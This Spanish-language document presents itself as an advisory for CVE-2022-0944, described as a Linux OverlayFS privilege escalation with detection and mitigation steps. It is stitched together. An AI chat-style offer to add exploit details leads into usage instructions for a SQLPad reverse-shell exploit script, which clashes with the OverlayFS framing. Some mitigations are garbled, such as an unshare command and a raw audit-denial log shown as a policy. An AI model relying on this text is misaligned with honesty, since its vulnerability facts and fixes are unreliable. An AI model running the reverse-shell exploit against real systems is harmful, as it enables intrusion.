CVE-2022-0944: Vulnerabilidad de escalada de privilegios en OverlayFS 🛡️

Aviso de seguridad y guía de mitigación para la vulnerabilidad de escalada de privilegios del kernel de Linux en OverlayFS.

📜 Resumen

CVE-2022-0944 es una vulnerabilidad de seguridad en el subsistema OverlayFS del kernel de Linux que permite a atacantes locales escalar privilegios mediante el manejo inadecuado de la creación de archivos en configuraciones específicas.

📌 Detalles técnicos

🚨 Impacto

Un atacante local podría:

• Obtener privilegios de root mediante operaciones de archivo manipuladas
• Evitar restricciones de seguridad
• Modificar archivos críticos del sistema
• Comprometer la integridad de todo el sistema

🔍 Detección

1. Verifique la versión del kernel uname -r

Affected versions: 5.8 <= kernel < 5.16.12

2. Verifique el uso de OverlayFS mount | grep overlay

Systems using OverlayFS mounts are at risk

3. Consulte los avisos de seguridad

For Debian/Ubuntu:

grep CVE-2022-0944 /var/log/apt/history.log

# For RHEL/CentOS:
rpm -q --changelog kernel | grep CVE-2022-0944

4. 🛡️ Mitigación

Parches oficiales

Actualice a una de estas versiones parcheadas:

• Linux Kernel 5.16.12 o posterior
• Parches backportados específicos del proveedor

Comando de actualización:

Ubuntu/Debian

sudo apt update && sudo apt upgrade linux-image-$(uname -r)

RHEL/CentOS

sudo yum update kernel

Soluciones alternativas (si no se puede parchear de inmediato)

• Restringir el uso de OverlayFS: sudo modprobe -r overlay

• Implementar restricciones de espacio de nombres: # Create unprivileged user namespace unshare -Ur

  root@kitploit:~

    # Mount with user restrictions
    mount -t overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work overlay /mnt
  

• Aplicar políticas SELinux/AppArmor: type=AVC msg=audit(1647452829.123:456): user pid=1234 comm="mount" scontext=user_u:user_r:user_t tcontext=system_u:object_r:unlabeled_t denied { mounton }

⚠️ Aviso legal Este documento se proporciona solo con fines informativos. Si bien se ha hecho todo lo posible para garantizar la precisión, no se ofrece ninguna garantía. Siempre pruebe los parches en un entorno de desarrollo antes de la implementación en producción.

Última actualización: 2023-10-01 | Ver registro de cambios

Características principales:

1. Clasificación clara de vulnerabilidad con insignias de seguridad
2. Tabla de referencia rápida de detalles técnicos
3. Pasos de detección y mitigación procesables
4. Comandos de actualización específicos del proveedor
5. Ejemplos de políticas de seguridad (SELinux/AppArmor)
6. Enlaces de referencia oficiales
7. Cumplimiento con estándares de divulgación de vulnerabilidades

Este formato de README es adecuado para:

• Equipos de seguridad
• Administradores de sistemas
• Ingenieros DevOps
• Mantenedores de código abierto
• Bases de datos de vulnerabilidades

¿Le gustaría que:

1. Añada información específica de parches del proveedor?
2. Incluya detalles de prueba de concepto del exploit (con precaución)?
3. Añada más scripts de detección?
4. Personalice para una distribución específica de Linux?

Uso

usage: main.py [-h] url lhost lport [username] [password]

positional arguments:
  url         URL to SQLPad
  lhost       Listener host address for reverse shell
  lport       Listener port for reverse shell
  username    login username (optional)
  password    login password (optional)

options:
  -h, --help  show this help message and exit

Ejemplo:

# install requirements
pip install -r requirements.txt

# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0

# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin

Descargo de responsabilidad

Este repositorio contiene código y herramientas que están destinados únicamente a fines educativos, específicamente para su uso en cursos de ciberseguridad y entornos de aprendizaje. El autor de este código no asume ninguna responsabilidad por cualquier consecuencia derivada del uso, mal uso o modificación de este código. El código se proporciona "tal cual" sin ninguna garantía, explícita o implícita, incluidas, entre otras, las garantías implícitas de comerciabilidad o idoneidad para un propósito particular.